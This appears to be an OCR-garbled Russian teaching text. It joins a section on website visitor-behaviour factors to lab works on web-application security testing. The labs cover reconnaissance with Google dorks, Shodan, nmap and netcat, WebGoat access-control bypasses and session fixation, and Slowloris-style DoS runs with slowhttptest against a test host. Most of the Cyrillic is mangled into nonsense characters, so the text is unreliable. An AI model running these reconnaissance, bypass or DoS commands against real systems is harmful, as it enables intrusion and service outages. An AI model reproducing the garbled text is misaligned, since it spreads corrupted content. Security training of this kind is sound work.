CymecTByeT OrpoMHOE KOJIMYeCTBO (hakTopoB. Kak MpaBHiO OHM JENSATCS HAa BHEIIHWE M BHYTPEHHHE.
YtoObl HE MBITATHCS OXBATUTh HEOOBSITHOE, COCPEAOTOUNMCS CETO/IHS Ha 0a30BBIX BHYTPEHHUX (haKTOpax:
OTKa3bl, BpeMs Ha caiiTe, TIIyOMHa MPOoCcMOTpa, BO3BpaThl. Ha 3T (akToOpsl BBl MOXKETE MOBIHAThH, padoTas
HaJl CBOUM CaiToM.
BoT Heckonbko crioco60B, KOTOPEIE IOMOTYT YIYYIIUTh 3TH ITOKA3aTelu.
1. OTBeThTE HA BOIPOC: O YEM CAUT?
[Tocerutens 1omKeH OBICTPO MOHATH TEMATHKY CaiiTa, ero npeaHasHadyenne. OueHb XOpOIIo ¢ ATOH 3a1auei
CIIPABIISAIOTCS:
® JIOTOTHUII U CJIOTaH, PACIOJIOKEHHbBIE B IIANKE CalTa;
® 3aT0JIOBOK IJIABHOM CTpaHUIIBI;
e 00IIMiA Tu3aiiH U opopmIteHre caifra.
BusyanbHO calT JOJKEH COOTBETCTBOBATH CBOEH TEMaTHMKeE, a TEKCThl PACKPBIBATH €r0 CYLIHOCTh. Takas
uH(pOpMalus TOMOXKET YEJIOBEKY MOHATh, YTO CAalT OTBEYAET €ro 3ampocy, NOOYAUT €ro yAeIUTh BalleMy
pecypcy 6onbie BHUMaHus. Kak ciencTBue, nokasareiab OTKa30B JODKEH CHU3UTHCS.
2. PazmecTure BUTPHHY Ha TJIABHOW CTPaHULE.
Orta peKOMeHJalus MOJAXOAUT HMHTEpHET-Mara3uHaM M caiiTaM c Karajorom ToBapoB. He 3acraBisiite
YyeJIoBeKa MCKaTh TO, paJy Yero OH MIpulles Ha cailT. [IpaBuiabHO cpopMupOBaHHas BUTPUHA 3aMHTEPECYET
HOCETHUTENS U 3aCTaBUT OCTaThCs Ha CcaiiTe.
3. Pemnte KOHKpETHYIO 3a/1a4y MMOCETUTESI.
JloGaBbTe Ha TJaBHYIO CTpPaHMIly OJIOK, MOCBSAILICHHBIM pPELICHUIO OJHON-EIUHCTBEHHOW MPOOIEMBI.
XopomMH TpUMEpPaMU  MOTYT CIY’)KUTh KaJbKyJISITOP pacyera CTOMMOCTH (3aKa3 KyXOHb) W
cCrelManu3upoBaHHas popMa Noucka (aBTOMOOMIIbHBIE 3aITYACTH).
Takoil crioco® — 3T0 BO3MOKHOCTh OJJHOBPEMEHHO M yJIep’KaTh IMOCETUTENSI HA CalTe, U BBIIEIUTHCS CPEIU
KOHKYpeHTOB. [logymaiite, ecTh Jin y 11e/IeBOro MOCETUTENIsE KOHKPETHAs HacyIHas podiiema, 1 monpooyiire
pemuTh ee.
4. ObecrieubTe KQa4eCTBEHHYIO HAaBUTAITHIO.
[Tpocnenute, 4TOOBI BCE CTaHIAPTHBIE CPEJCTBA HABUTALMU KOPPEKTHO paboTaau U ObUIM PacIoNokKeHbl Ha
KaX/10i cTpanulie caiita. K crangapTHBIM cpeicTBaM OTHOCSITCS:
® TJIaBHOE MEHIO;
® BBIJICJICHUE AKTUBHOTO ITyHKTa MEHIO;
e Ha3BaHHE CTPaHMIIBI (3aT0JIOBOK);
® HaBUTAI[MOHHAS IIETIOYKA (XJICOHBIC KPOIIIKH).
5. Jlo6aBbTE UHTEPAKTUB.
Camble OUeBHIHBIE PELICHUS:



® CHUCTEMa OT3BIBOB;
® TOJIOCOBAHUS,
® OHJIAlH-KOHCYJIbTAHT;
e yarT.
Kaxapiii cioco0® npeaHazHadyeH Ui pelieHusl COOCTBEHHBIX 3a]1a4, KOTOpbIE, B CBOIO OY€pellb, 3aBUCAT OT
TEMaTUKHU caiita. OUeHUTE peallbHyIO TIOJB3Y JJIsl BAIIMX TMOCETUTENICH U He JOOaBJISHTEe HA CAlT JMUIIHUE
GyHKIHH.
6. [TyOnukyiiTe TeMaTUYECKHUE CTAThU.
Pasnen co cratesiMu MOXKeET cTaTh cepAueM caiita. Co cTOpOHBI MOCETUTENEH ATOT pa3fell caidTa peliaer
HECKOJIBKO 3a/1a4:
e JIydIlle pacKphIBAaeT CYTh BaIETO TOBApa/yCIyTH ISl IOCETUTEIICH;
® TIOKa3bIBACT, YTO CAWT MOMAICP)KUBACTCS B aKTYaJIbHOM COCTOSTHHH.
e JIEMOHCTPHUPYET Ball IPO(heCcCHOHATU3M.
7. CBsDKUTE MaTepHaIbl CaliTa CChUTKAMHU.
[lepennHkOBKa — CCBUIKM BHYTPU CTPaHUI] TEKCTa, KOTOPbIE BEAYT Ha JPYru€ CTPaHUIbl BAIllETO CAMTA.
Takke CChIIKM MOTYT pa3MeIIaThCsl CIIUCKOM TIOCIie TEKCTa M PAaCKphIBaTh CBsA3aHHBIE TeMbI. B ciydae ¢
NEPEIMHKOBKON MOCETUTENh MOXET 3aMHTEPECOBATHCS W MEPEUTH HA JAPYTrHe CTPAHMIIBI BAIIEro caiuta,
4yTOOBI JIydIlle pa3o0parhcsi B Bompoce. JIerko u OpraHruYHO 3TOT CIOCOO COYETAeTCs] C TeMAaTHYECKUMU
CTaThsIMU.
8. MHHIuupyinTe BO3BpALICHUE TOCETUTEIICH.
He Bcerna momyvaercs cienaTh MOCETUTENS KIMEHTOM C MEPBOTo pa3a. BOT HECKOIbKO CIIOCOOOB BEPHYTh
MTOCETUTEIIS:
o ODynkmus «CoodmuTh 0 mocTyrieHun». Ecinu ToBap B OyyieM MOSIBUTCS B Mara3uHe, TO YEJIOBEK
CMOET BEPHYTHCS 3a MOKYIKOM.
e [loammcka Ha pacchUIKY. BBl MOXeTe coo0maTh YeI0BeKy, HAPUMED, O IMyOJIUKAIUNA HOBBIX CTATEH.
e (Camu 1o cebe MHTEpPECHbIE MaTepHUAJIbl, CTATHH MOTYT MOOYINUTh YEJIOBEKAa COXPAHUTH CTPAHUILY B
3aKJIaJIKax ¥ BEPHYTHCS HAa Hee B OyAyIIeM.
9. TexHn4eckne TOHKOCTH.
OTKpbIBaiiTe BHEIIHUE CChUIKHM B HOBBIX BKJIaJIKaxX. B 3TOM ciyuyae 4esoBeK He MOTEepSET Balll CAalT U3 BUAY U
CMOJKET BEPHYThCS K TOMY MECTY, Ha KOTOPOM 3aKOHUYMJ paboTy ¢ CalTOM.
O0ecneybTe IPHEMIIEMYIO CKOPOCTD 3arpy3ku crpanull. HukoMy He XodeTcst paboTaTh ¢
«ropmozsimum» caiitom. C MOMEHTa mepexoia MO CChUIKE J0 MOMEHTa OTOOPa)KEHHUS CaMbIX Ba)KHBIX
3JIEMCHTOB CTPaHHUIIBI (IICPBOrO 3KpaHa) JOJDKHO IPOXOJUTh He OoJibiie 1—2 CeKyHI.
OdopmuTte crpanuity ¢ ommnbkoi 404. Ha Takue cTpaHUIbl TOCETUTEN MOTYT IOIAaTh, €CIIM Bl yIaJIsIH
CTpaHUIIBI Ha caiiTe. Xopolio opopmieHHas crpaHuia 404 Mo3BOIHT YEIOBEKY BEPHYTHCS K HOPMAJIbHOMY
pEXKUMY pabOTHI.
3aganue Ne 1. [Ipoananu3upyiite moBeaeHIeCKre (PaKTOPBI MPEITIOKEHHOTO CaiTa.

MJIK. 03.03 OGECIIEYEHME BE3OITACHOCTH BEB-IIPHJIOKEHUI
Tema 3.3.1 TexHoJsiorumn odecrnedeHusi 0€30MACHOCTH BeO-NPUJIOKEHU I
JlabopaTopnas padora 23. «Coop undpopmanuu o web-npusioxeHnm»
Heab: o0yueHue MmeTos1aM U cpeacTBaM cOopa nHGopMaIuu 00 aHATTU3UPYEMOM BEO-TIPHIIOKEHUU.
XO/J PABOTHI:
3apanue Ne 1. Beimonuutsk c6op nHopmaium 06 aHaTU3UPyEMOM BEO-TIPHIIOKCHHIH.

Ipumep coopa ungopmayuu 06 aHaIU3Upyemom (vcnosHom) — 6e6-npunodcenuu
www.test.app.com/robots.txt. [locredosamenvbHocmob Oeticmsuil.
[lar 1. B aJIpecHOM CTpOKe Opay3epa nepenTu 1o ajzipecy

www.test.app.com/robots.txt.

[IpoananusupoBaTh coxepkumoe daiiia. Cenars BBIBOIBI O HATMUUU CKPBITHIX» TUPEKTOPHUH.
[lIar 2. B aapecHoii ctpoke Opay3epa mepeilTu mo aapecy http:// www.test.app.com/crossdomain.xml u,
3aTeM, 1o axpecy http:// www.test.app.com/clientaccesspolicy.xml. ITIpoaHanu3upoBaTh COACPKUMOE
¢aitnoB. CaenaTth BHIBOJIBI O KOPPEKTHOCTH KOH(MUTYPAIIUH ITOJIMTHKU MEXKJIOMEHHOTO B3aMMO/ICHCTBHSL.
[lar 3. Ilepeiitm mo anpecy http://www.google.com. 3amaTh HOHMCKOBBIC 3aIllpOCHI, ONpEICIIECMbIC
aHAJTM3UPYEMBIM MPUIIOKEHUEM, HAIPHUMED:

e site:www.test.app.com filetype:docx confidential;
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site:www.test.app.com filetype:doc secret;
site:www.test.app.com inurl:admin;
site:www.test.app.com filetype:sql;
o site:www.test.app.com intext: "Access denied".
[Tpoananu3upoBaTh JIOTUKY 3alpOCOB M IMOJIy4€HHbIE AaHHbIE. [locTpouTh CBOM 3ampoChl, UCHOJIb3YS
PUMEPHI U3 0a3bl 3aIPOCOB.
[Iar 4. [Tepetitu o anpecy http:// www.shodanhq.com. 3agaTs ciiemyronuii MOMCKOBBIH 3aIIpoc:
hostname:www.test.app.com
[TocTpouthb CBOM 3aIPOCHI JUIs IPHIIOKEHUSI WWW.test.app.com.
[ar 5. J/IaHHBII TECT BBITOIHASTCS TOJIBKO JIJIS IPHIIOKCHUH, pa3MEIICHHBIX B Ja0OPATOPHOM CETH.
C moMoIipIo ceTeBhIX ckaHepoB Nmap u Xprobe BenodHUTh uaeHTudukauto OC Be6-cepBepa:
# nmap —O www.test.app.com —vv # xprobe2 www.test.app.com
[ar 6. [TogkmrounThCs K BEO-cepBepy, UCIONB3Ys yTUIUTY Netcat:
# nc www.test.app.com 80 Ornpasuts cieayromuii GET 3anpoc GET / HTTP/1.1
Host: www.test.app.com
\r\n
ITo 3aronoskam Server u X-Powered-By onpenenuTs nmporpaMMHoe oOecriedeHue, pean3yroliee Bed-cepBep
u GpIUMBOPK BeO-TIpmiiokeHus. B Opaysepe ycraHoButh pacmupenue Wappalyzer, mepeiitu mo aapecy
BEO-NPUIIOKEHHS ¥ TPOAHAIU3UPOBATH HH(POPMALIUIO O KOMIIOHEHTaX BEO-NPUIIOKEHHSI TIOJTyYEeHHOE Yepe3
Wappalyzer.
[Iar 7. C nomomnrsto ckanepa BeO-cepepoB Httprint (muctpubytus Backtrack) nimu Httprecon (OC
Windows) BBIITOJIHUTh HICHTH(PUKALIMIO BeO-cepBepa:
# cd /pentest/enumeration/web/httprint/linux
# ./httprint —h www.test.app.com —s signatures.txt
C nomompro ckadnepa Wafw0O0f mpoBeputh Hammuue y BeO-mpuiokeHus moacuctembl WAF: # cd
/pentest/web/waffit
# python ./wafw0O0f.py http://www.test.app.com # python ./wafwO0O0f.py https://www.test.app.com
[Iar 8. BIMOTHATE TECTHI IO UACHTH(DHUKAIUH TTOIepkuBacMbIX BeO-cepepom HTTP-meTon0B.
Jli1s 3Toro HE0OX0IMMO OTHPAaBUTH ¢ ToMoIIbio Burp Suite nnu Netcat 3anpoc cieayromero Buaa:
OPTIONS /HTTP/1.1
Host: www.test.app.com
\r\n
[TpoBepuTh, MOAIEPKUBACT JIU cepBEp 00PabOTKY 3aIIPOCOB C MPOU3BOJIBLHBIMU METOIAMU:
DOGS /HTTP/1.1
Host: www.test.app.com
\r\n
Ecnu Be6-cepBep noanepxuBaet Mmetog TRACE, To 3T0 MOXKET MPUBECTH K YSI3BUMOCTH K aTake
Cross-Site Tracing (XST). st mpoepku noanep:xxku Bed-cepsepom metoabpl TRACE otnpaBuTh 3ampoc
TRACE /HTTP/1.1
Host: www.test.app.com
\r\n
Be6-cepBep nognepxkuBaer metoli TRACE u moreHnuanbHo ysa3BuM K atake XST, eclid MoJaydeH OTBeTa
BUJIA
HTTP/1.1 200 OK
Connection: close Content-Length: 39 TRACE / HTTP/1.1
Host: www.test.app.com
3apanme Ne 2. HaliTn agMuHUCTpaTUBHBIE HHTEP(PEHCH KOMMYHHKAIIMOHHOTO U CETEBOI0 00OPYA0BAHMS
(Bumeokamepsl, kommyTtaropsl JIBC, nomamune Wi-Fi MapmipyTu3atopsl, u T.1.), TOJKIIOUYEHHBIC K CETH
Nurepuer.

JlaGoparopHas padora 24. «TecTupoBaHue 3alIUIIEHHOCTH MEXaHU3MA YIIPABJIECHHUSA T0CTYIIOM U
cecCUsiMm»
Lenb: 00yyeHre METOIaM U CPECTBAM TECTUPOBAHMS 3AIUIICHHOCTH MEXaHNU3Ma YIPaBIEHUS JIOCTYIIOM B
Be6-HpI/IJIO)KeHI/ISIX, COBPEMCHHBIM MCTOJaM H CpCACTBaAM TCCTUPOBAHUA 3allIUIICHHOCTH MCXaHHW3Ma
YIpaBJIEHUS] CECCUSIMU B BEO-IIPUITOKEHUSX.
XOJ PABOTHI:
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3aganue Ne 1. BoInoiHUTE TECTUPOBAHUE 3ALIUIIIEHHOCTH MEXaHNU3Ma YIIPABJICHHUS IOCTYIIOM HCCIIEAYEMOT0
BEO-TIPUIIOKCHHSI.

Ilocneoosamenvuocmo Oelicmsuii

[Iar 1. Hactpouts paboty Opay3epa uepe3 mTaTHbINA Ipokcucepsep Burp Suite. B BeO-Opay3epe OTKpHITh
[JIaBHYIO CTPAHUILY TECTUPYEMOTO BEO-TIPHIIOKEHNU WWW.test.app.com.

[lar 2. 3apeructpupoBathcsi B BeO-ipuiiokeHuu. [lomyunts uaeHTU()UKATOP YYETHOHW 3aMHMCH M Mapoib
noctyna K BeO-npuinoxenuto. [IpoananusupoBaTs NpecKka3yeMocTh UISHTU(PUKATOPOB MOJIb30BaTENEH U,
€CJIM ATO BO3MOXKHO, QJITOPUTM Ha3HadeHus uacHTudukatopos. [IpoaHanm3upoBaTh peaTu30BaHHYIO B
BEO-NPUIIOKEHUH MApOJbHYI0 MOJUTUKY. OILIEHUTh JOCTYIHYI CIIOKHOCTH BbIOOpa mapoieit
noJib30BaTeIsIMU. ONIIMOHAIBHO BBIIIOJIHUTH aTaKy MOJHOTO Iiepedopa maposiei.

[ar 3. ITepeiiTu 1o ccbuIKe AJA ayTeHTUPUKAUHU B puiioxkeHuu. [Ipu 3ToM HE06X0aUMO yOeauThCs, 4TO
dopma ayreHTH(HKAIMKA JOCTynHA TOJAbKO 10 mpotokoiny HTTPS. VYOemutbes, 4TO BBOIUMEBIC
M0JIB30BATEJIEM JIOTUH U MApOJib OTHPABIISIIOTCA B 3amudpoBanHoM Buje 1o npotokony HTTPS. Y6equthces,
YTO JIOTUH U MapoJib He oTnpasiisitores ¢ nomoibio HTTP-metona GET.

[ar 4. IIpoBeputh, 4TO B BEO-MPHIOKEHUHA U3MEHEHBI CTaHJAPTHBIE MApOJH JJIsi BCTPOCHHBIX YUETHBIX
3anucel. [IpoBepuTh, YTO HOBBIE YUETHBIE 3aITUCH CO3JAI0TCS C PA3TUYHBIMU ITAPOJISIMHU.

[Mar 5. IlpoBeputrh BO3MOKHOCTH HACHTU(UKALMU MOJIb30BaTeIe BeO-mpUIoKeHUsT udepe3 (HopMbl
pEerucTpaluu, BXOJa U BOCCTAHOBJIEHUs mapotisi. JlJis 3TOro cieayeT BBECTH HECYHIECTBYIOLIEE HMS
nonp3oBarens (Hampumep, qawsedrfl234) u npou3BOJIBHBIA Mapoiib, a 3aTeM HUMS CYIIECTBYIOLIETO
MOJIL30BATEISI U POU3BOJILHBIN, HO HETIPABUIIBHBIN MMapoiib. B 000uX ciiydasx JOMHKHO OBITH BBIBEICHO OJTHO
U TO ke coob1ieHue o0 omubdke Buaa «Omubka B UMEHH M0JIb30BATENs WM HEBEPHBIN Mapoiiby. Takxke o0a
HTTP-oTBeTa TOIKHBI COBIAIAThH C TOYHOCTHIO IO M3MEHSEMBIX ITAPAMETPOB U OBITH OTyUEHBI 33 OJHO U TO
e BpeMsa. B mpoTUBHOM ciyyae BeO-IPUIIOKEHHWE HMMEET CKPBIThIM KaHal (Opakys), MO3BOJISIOIINN
UACHTU(DUIIUPOBATH €r0 MOJIb30BATEICH.

[Mar 6. IIpoBeputrh BO3MOXKHOCTH peajH3alMy aTaku MoaOOpa Mmapoiisi Mosb3oBarens. Bectu ums
noJib30BaTes. BBecT HeCKOJIbKO pa3 HenmpaBuWiIbHBIN maposb (5—10 pas). [locie 3Toro BBeCTH MpaBUIbHBIN
MapoJib JIJIs TOM yUeTHOH 3amucu. BBeCTH 0IMHAKOBBIN MaposIb JUIsl Pa3HbIX YUETHBIX 3anuced (mis 5—10).
[IpoBepuTh BO3MOXKHOCTH JOCTyNa K BEO-TPUIOKEHUIO. BIOKMpOBaHME yYETHBIX 3alUCEel MOIh30BATENs
MocJie HECKOJIBKMX HEYAayHBIX MOIBITOK BXOJa CO3/1aeT yCIOBUE A peannzauuu DoS-aTaku u HE JOIKHO
UCTIONb30BAThCS B MEXaHM3MaxX 3alliThl OT aTak mojadopa maponieid. Bmecto 3Toro HeoOXxoaumo
UCIIOJIb30BaTh BO3pACTAIOIIME BpPEMEHHbIC 3a/Iep)KKH WM CPEACTBA aHTH- aBTOMATHU3alMU (HAIpHUMeEp,
CAPTCHA).

[Har 7. IIpoBepuTh, YTO YYBCTBUTEIbHBIH KOHTEHT (HampuMep, CTPaHUIIbl C BBEJACHHBIMH HOMEpaMu
KPEAWTHBIX KapT, CUYECTOB, aJ[pecOB) HE IOCTYNEH 4epe3 MexaHw3Mm History BeO-Opaysepa, a Takxke He
KoLIUpyeTcsl UM. BoiTu moj yyeTHON 3amuchbio MOJB30BATENs, MEPEHTH Ha CTPAHUILy C YyBCTBUTEIBHBIM
KOHTEHTOM. BBecTu HOBbIC naHHbIC. Buiiitn n3 mpuioxenus. Haxare kHonky «Back». ITonb3oBarens He
JOJKEH MMETh BO3MOKHOCTH BBIMIOJIHATH HOBBIE 3alpOChl (IIPU KOPPEKTHOW peav3allvy YIpaBIICHUS
ceccussmMu). Eciii ipu 3TOM MOJIb30BaTEINIO JIOCTYIHBI PaHEe 3alpalliiBacMble CTPaHUIIbI, TO 3TO O3HAYAET,
YTO CepBepHasi 4acTh BeO-MPUIOKEHHUS HE 3ampeTwia BeO-Opay3epy COXpaHSATh JaHHbIE B HCTOPHUHU.
3anpenieHue K3IupoBanus onpeaensercs HammuueM HTTP-3aronoskoB Pragma, Cache- Control u Expires
CO CJIeIYIOUIMMH PEKOMEH/I0BaHHBIMH 3HAYCHUSIMU:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate, max-age=0 Expires: -1

[ar 8. 3anycTuth BeO-npuioxkenrne Web Goat. BBectu jorus:

«guesty, apojb: «guesty.

ITepetitu o ccoruike «Access Control Flaws — Bypass a Path Based Access Control». M3yunts yciaoBus
3amaun. HMcnone3ys FireBug (wim 11000l aHAJOTWYHBIA  WHCTPYMEHT), HW3MEHHUTh 3HAUCHHUE
AccessControlMatrix.html Ha ../../main.jsp. Haxats kHonky «View File». [lepeiitu mo cceimke «LAB: Role
Based Access Control —Stage 1». U3yuuts ycnoBus 3amauun. Bolitu mox monws3oBatenem Tom (maposb:
Tom). M0XHO BUIETH, YTO OT MOJIB30BaTEINs CKpbITa KHOMKa «DeleteProfile», Tak kak oH HE TOJKEH UMETh
BO3MOKHOCTH yAJIATh yueTHbIe 3armucu. Haxxats kHonky «View Profile». B Burp Suite mpocmoTtpeTs 3amnpoc.
Ucnonbsys FireBug (umm 1100601 aHaTOTUYHBIN HHCTPYMEHT), n3MeHUuTh HTML- pa3mery, 3aMEHHUB JIEMEHT
<input type="submit" value="ViewProfile" name="action">

Ha DJIEMEHT

<input type="submit" value="DeleteProfile" name="action">
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Haxate xHomky «DeleteProfile». IIpocmoTpers otnpaBineHHbili 3ampoc B Burp Suite. IIpoduis

moJib3oBaTes OyaeT yaaneH. OnuuoHaiabHo pemuTh 3a1aay «LAB: Role Based Access Control — Stage 2».

[Tepeiitu o cceuike «LAB: Role Based Access Control —Stage 3». U3yuntb ycnoBus 3anaun. BoiTu moj

nosk3oBareneM Tom (mapois: Tom). Haxats kHOnKy «View Profile». B Burp Suite mpocmoTpers 3ampoc.

Mo>KHO BUJETH, YTO MOJIBH30BATENIO AOCTYIHBI JaHHbIe cBoero npoduis. Mcenonssys FireBug (wnu nroboit

AQHAJIOTHYHBIA HWHCTPYMEHT), u3MeHuTh HTML-pasmery, 3ameHuB snemMeHT <option value="105"

selected="">Tom Cat (employee)</option>

Ha JIEMEHT

<option value="103" selected="">Tom Cat (employee)</option>

Haxatpr kHOmKy «ViewProfile». IIpocmorpers oTmpaBieHHBINH 3ampoc B Burp Suite. BymyT BbIBeneHBI

JaHHbIE TPOUIIS MOIH30BATENs

Curly Stooge.

OnumonansHO pemuTh 3a1auy «LAB: Role Based Access Control — Stage 4».

[Tepetitu 1o ccblike «Remote admin accessy». M3yuntsb yciaoBus 3agaun. [IpocMOTpeTh MO MEHO

«Admin Functionsy». Ilepeiitu o CCBIIIKE
WebGoat/attack?Screen=86&menu=200&admin=true.

[TpocmotpeTs moamento «Admin Functionsy.

3apanue Ne 2. V3yunTh peKOMEH AU K 3alTUIIIEHHON peau3alliid MeXaHu3Ma XpaHeHHUs MmapoJiei.

HccnenoBaTh MEXaHU3M BOCCTAHOBJICHHUSI TapOJieii BBIOPAHHOTO BEO-TIPHIIOKEHHUS.

3aganue Ne 3. VccnenoBath MUHIMAIIBLHO JIOITYCTUMYIO JUTHHY U CIIOKHOCTB TIAPOJICH B TPOU3BOIBHBIX MSITH

BeO-npmitoxkeHusx u3 peituara ALEXA TOP 100.

3aganue Ne 4. BEINOTHUTH TECTUPOBAHKE 3AIUINIEHHOCTH MEXaHU3Ma YIIPABJICHUS CECCUSIMH HCCIIEAYEMOTO

BEO-TIPHIIOKEHUS.

IocnedosamenvHocms Oelicmauil

[Iar 1. Hactpouts paboTty Opay3epa dyepe3 mTaTHbIM IpoKcH-cepBep Burp Suite. B Be6-Opay3epe oTKphITh

TJIABHYIO CTPAHUILy TECTHPYEMOT0 BeO-priiokeHnss www.test.app.com. [Ipocmorpers Cookie, onpenenurs,

CO3/aeTCs JIM ceccusl AJisi HeayTeHTU(UIIMPOBAHHBIX (AHOHUMHBIX) M10JIb30BATENEH.

[Ilar 2. BBecTu KOPPEKTHBIE JOTHH U Mapoib. ONpenenTh, YTO UCIONI3YeTCsS B KAUECTBE TPAHCIIOPTA IS

nepenaun uaeHtudukaropa ceccun. Ecimu muist aToro ucnonb3yercs mexanusm Cookie, To onpeaenuTh UMeHa

cookie, ux arpuOythl (Secure, HttpOnly, Domain, Path, Expires) u 3Hadenus. IIpoanamusmpoBaTh

aJICKBaTHOCTh UCIIOJIb3yeMbIX aTpuOyToB Cookie.

[Mar 3. IIpoananu3upoBaTh UM HUACHTU(DHUKATOpPA CECCHH, €r0 CTPYKTYpPY M 3HAUCHUE, OMPEACIUTH,

UCIIOJIB3YETCS JIM KOJUpOBaHUE UK mudpoBaHue naHHbIX. Mcnonb3ys uHCTpyMeHT Sequencer B Burp Suite,

MPOAHATM3UPOBATh BEPOSTHOCTHBIC XapPaKTEPUCTUKH TMOCIEAOBATEIHLHOCTH HICHTU(PUKATOPOB CECCHUH.

Cnenatb BBIBOJ O COOTBETCTBHHM peaju3alud (YHKIUM TeHepalud HIACHTU(PUKATOPOB TpeOOBaHUSIM

Oe3omacHocTr. CrenaTh BBIBOJA O BO3MOMKHOCTH HWCIIOJIB30BAHMSI aTaKd TpyOOW CHIIBI JJIS TeHEpaIluu

CECCHOHHOTO0 HJIeHTU(UKATOPA MOJIb30BATES.

[ar 4. [IpoBepuTh aHHYJIUPYEMOCTh CECCHM Ha cepBepHOii ctopoHe. Coxpanuth Cookie B BeO- Opay3sepe

(MoxHO wucnonb3oBaTh pacmupenue Export Cookies), BbliiTM 13 mnpuioxeHus. Mmmoptuposartb

coxpaneHHble panee Cookie B Opay3ep (MOXHO HCIOJb30BaTh paciuperue Import Cookies). Ilepetitu mo

moboMy anpecy BeO-mpuioxkeHus. Eciu Bbl momasere B MPENbIAYIIYIO CECCHIO, TO 3TO O3HAYaeT, 4YTO

AHHYJUPOBAHUE CECCHH MMPOUCXOIUT TOJIBKO HA KiIMeHTe. [[poBepHTh, YTO NOJIB30BATEIh MOXKET 3aBEPIIUTH

CBOIO CECCHIO B JII000H MOMEHT BPEMEHH — Ka)k/1asi CTpaHHIIa, IOCTYITHAS [10CIIe ayTEeHTU(PUKAIIUH, COJIEPKUT

CCBUIKY THNA «Sign out», MO3BOJSIONIYIO 3aBEPIINTH ceccHio. [IpoBepuTh, Kakue MEXaHU3MbI TaliMayTOB

pealin30BaHbl B BEO-MIPUIIOKEHUH.

[ITar 5. IIpoBepuTh BO3MOYKHOCTH BBINOJIHEHUS aTaku Tumna «Pukcauus ceccum». [ 3TOro mpoBepUTH

HAJIMYUE CIEAYIOLIEro HEAOCTaTKa: BEO-NPHIOKEHHE HE OOHOBIIET CECCHOHHBIM HICHTH(HUKATOP,

OTIIPaBJICHHBIN Opay3epoM TMOJIb30BaTElNsA, MOCIE YCIENTHOW ayTeHTU(huKamuu mnociieqHero. OTnpaBUTh

3aMpoc BEO-IPUIIOKEHHUIO U TIOJIYYHTh CECCHOHHBIN uaeHTuukaTop B Cookie:

GET /HTTP/1.1

Host: www.test.app.com

\r\n

[Tory4uTs ¥ MpOAHATU3UPOBATH OTBET

HTTP/1.1 200 OK

Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_Server
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Set-Cookie: ID=d8eyYq3L0z2fgql0m4v; Path=/; secure AyTeHTHPHUIIUPOBATHCS, HCIOIB3YS 3aMpPOC C
MOJTyYeHHBIM UJeH- TUu(ukaropom ID:

POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com

Cookie: ID=d8eyYq3L0z2fgql10m4v

\r\n user=test&password=7z123456

Eciu ayreHTH(UKANMA MpomUIa YCIENIHO, TO MPHIOKEHHE YSI3BUMO K arake (UKCAUU CECCHUU.
JlononuurenbHO YOAUTHCS, YTO UIEHTUUKATOp ceccun nepenaetcs Tosbko B Cookie v He pacKpbIBaeTcs B
nor-daiinax, coodmenusx o6 ommbdbkax, URL u 1.1.

[Mar 7. IlpoBeputh, YTO UACHTU(DUKATOP CECCUU MEHSETCS MOCje MOBTOPHOM ayTEeHTH(UKAIUU, CMEHbI
napoJisi, PO | T.J1.

[ar 8. [IpoBepuTk, 4TO BEO-MPUITIOKEHHE HE TIO3BOJISIET UMETH JABE OJIMHAKOBBIE CECCUU C JIBYX PA3HBIX Y3JIOB
CeTH.

3amanue Ne 5. [IpeyiokuTh ClieHapUi aTaky, UCIOJIb3YIOIIMI HEIOCTAaTOK aHHYJMPOBAHUS CECCUU TOJIBKO
Ha KJIMEHTCKOW CTOPOHE BEO-TIPUIIOKEHHUSI.

3apanmne Ne 6. Mcnonbs3ys nouckoBsie cucteMbl (Google, Shodan), HailTH BeO-IPHIIOKEHHUSI ¢ MEXaHU3MOM
URL Rewriting.

3apnanme Ne 7. Hanmmcarp cuenapuii JavaScript, ycTaHaBIMBAIOIIWA WM CYUTHIBAIOIIUN HUACHTH(DUKATOD
CECCHUH TOJIb30BATENS.

JlabopaTopHasi pa6ota 25. «TecTupoBaHne Ha YCTOHYMBOCTh K aTaKaM 0TKAa3a B 00CIYKUBAHUN»
Lenb: oOydeHne METo1aM M CPeJICTBaM TeCTUPOBAHHUS BEO-ITPHIIOKEHUN Ha YCTOMUMBOCTD K aTakaM 0TKaza B
obciyxuBanuu (DoS-atakam).

XO/J PABOTHI:
3aganue Ne 1. BoIOMHUTE TECTHPOBAHUE YCTOMYNBOCTH BEO-TIPIIIOKEHUSI WWW.test.app.com k DoS-arakam
Ha ypoBHe npotokoia HTTP.
Ilocredosamenvrocms Oeticmauil
[lar 1. YcraHoBuTh porpamMmy slowhttptest, JOCTYITHYO o URL BHUJIA
https://code.google.com/p/slowhttptest. M3yunth mgoKyMeHTanuio. 3almyCTUTh CETEBOM aHAIU3aTop
Wireshark.
[Ilar 2. Ha TectoBOM CTeHHE, SMYJHpYIOIMEM paboTy BeO-cepBepa wWww.test.app.com, YCTaHOBUTH U
BBITIOJIHUTH 0a30BbIe HACTPOUKH 1)1 BeO-cepBepoB Apache, Nginx u IIS. 3amyctuts BeG-cepep Apache.
[Iar 3. 3amycTUTh B OTHOIICHUU BeO-cepBepa ataky Slowloris, IpOCMOTPETh TPACCUPOBKY COCIUHEHUS,
MIPOBEPUTH JIOCTYITHOCTh BeO-cepBepa ¢ MOMOIIBI0 TPOU3BOILHOTO Opay3epa:
# slowhttptest -H -c¢ 3000 -r 3000 -i 50 -1 6000
—u http://www.test.app.com
[IpoBecTr HECKOJIIBKO TECTOB € Pa3IMYHBIMU Napamerpamu. [1ocTpouTs rpaduku cocTosTHUS BeO- cepBepa.
[llar 4. 3anyctuth B oTHomeHHH BeO-cepBepa ataky Slow HTTP POST, mpocmoTpeTs TpaccHpoOBKY
COCIIMHEHUS, POBEPUTH JOCTYIMHOCTH BEO-CEpBEpa C IMOMOIIBIO MPOU3BOJILHOTO Opay3epa:
# slowhttptest -B -c 3000 -r 3000 -i 50 -1 6000
—u http://www.test.app.com
[TpoBecTu HECKOJIBKO TECTOB € pa3inyHbIMU Napamerpamiu. [loctpouts rpaduku coctosiuus BeO- cepBepa.
[lar 5. 3anycTuTh B OTHOIICHUU BeO-cepBepa araky Slow Read, BeIOpaB ¢haiia TOCTAaTOYHOIO pa3Mepa,
IPOCMOTPETH TPACCUPOBKY COCTUHEHHUS, IPOBEPUTH JOCTYITHOCTH BeO-CcepBepa C MOMOILBIO TPOU3BOJILHOTO
